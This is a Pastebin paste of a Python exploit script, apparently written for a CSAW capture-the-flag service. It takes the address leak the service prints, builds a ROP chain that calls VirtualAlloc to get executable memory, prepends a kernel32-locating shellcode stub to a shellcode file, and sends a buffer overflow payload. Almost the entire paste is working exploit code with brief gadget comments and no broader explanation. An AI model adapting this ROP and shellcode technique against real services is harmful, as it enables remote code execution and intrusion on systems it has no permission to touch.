Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2014
291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.03 KB | None | 0 0
  1. import sys, socket, struct, re
  2.  
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. #s.connect(("54.164.253.42", 9998))
  5. s.connect(("127.0.0.1", 9998))
  6.  
  7. print s.recv(1024)
  8. #raw_input()
  9. s.send("GreenhornSecretPassword!!!\n")
  10.  
  11. print s.recv(1024)
  12. print s.recv(1024)
  13.  
  14. s.send("A\n")
  15.  
  16. print s.recv(1024)
  17.  
  18. aslr_text = s.recv(1024)
  19. print aslr_text
  20. slide = eval(aslr_text[aslr_text.find("slide is: ")+10:aslr_text.find("slide is: ")+20])
  21. slide += 0x00400000
  22. stack = eval(aslr_text[aslr_text.find("stored at: ")+11:aslr_text.find("stored at: ")+21])
  23.  
  24. s.send("V\n")
  25.  
  26. print s.recv(1024)
  27.  
  28. #addr = 0x00D81210
  29. #addr = 0x01341210
  30. #addr = 0x90909090
  31.  
  32. def fixaddr(addr):
  33.     global slide
  34.     orig_base =    0x00D80000
  35.     return addr - orig_base + slide
  36.  
  37. def padr(addr):
  38.     return struct.pack("<I", fixaddr(addr))
  39.  
  40. def pvar(val):
  41.     return struct.pack("<I", val)
  42.  
  43. getk32 = "\x31\xC0\x31\xD2\xB2\x30\x64\x8B\x02\x85\xC0\x78\xC0\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8D\x40\x3C"
  44.  
  45. f = open("gnarlyshellcode", "rb")
  46. shellcode = f.read()
  47. f.close()
  48. shellcode = getk32 + shellcode
  49. shellcode += '\x90'
  50.  
  51. ropstack  = padr(0x00D811C0) #Calls virtual alloc
  52.  
  53. ropstack += padr(0x00D81204) #VirtualAlloc ret addr, add esp 0Ch; mov eax, [ebp+8]; pop ebp; retn;
  54.                              #That ROP chain effectively doess add esp, 10h;
  55.  
  56. ropstack += pvar(0x00000000) #lpAddress
  57. ropstack += pvar(0x00002048) #dwSize)
  58. ropstack += pvar(0x00000040) #PAGE_EXE_RW
  59. ropstack += pvar(stack-0x400)#where to store ret addr
  60.  
  61. ropstack += padr(0x00D81DA6) #pop ecx; pop ebp; retn
  62.                              #we need to set ECX to a dereferenceable address so that the next ROP chain doesn't crash
  63. ropstack += pvar(stack-0x300)#ecx value
  64. ropstack += pvar(stack+0x0C) #ebp value
  65. ropstack += padr(0x00D811DD) #mov [ecx], eax; mov edx, [ebp+14h]; mov eax, [edx]; pop ebp; retn;
  66.                              #This ROP gadget lets me get the address of the allocated memory off of the stack
  67.                              #and into a register
  68.  
  69. ropstack += pvar(stack+0x54) #ebp value
  70. ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
  71.                              #I used this rop chain twice to overwrite the parameters passed to ReadBytes
  72.                              #below
  73.  
  74. ropstack += padr(0x00D811E2) #mov eax, [edx]; pop ebp; retn;
  75. ropstack += pvar(stack+0x58) #ebp value
  76. ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
  77.  
  78.  
  79. ropstack += padr(0x00D81600) #ReadBytes
  80.  
  81. ropstack += pvar(stack-0x400) #ReadBytes return address(overwritten)
  82.  
  83. ropstack += pvar(stack-0x400) #DestBuffer(overwritten)
  84. ropstack += pvar(len(shellcode))
  85. ropstack += pvar(0x000000090) #stop char
  86.  
  87.  
  88.  
  89. prerop  = ""
  90. prerop += padr(0x00D82000)*2 #Virtualalloc IAT
  91. prerop += pvar(stack+0x10) #stored EBP
  92.  
  93. #s.settimeout(1)
  94. s.send("CSAW" + "\x90"*(0x400-len(prerop)) + prerop + ropstack + "\x0a")
  95. s.send(shellcode)
  96.  
  97. print "The challenge server says: ", s.recv(1024)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement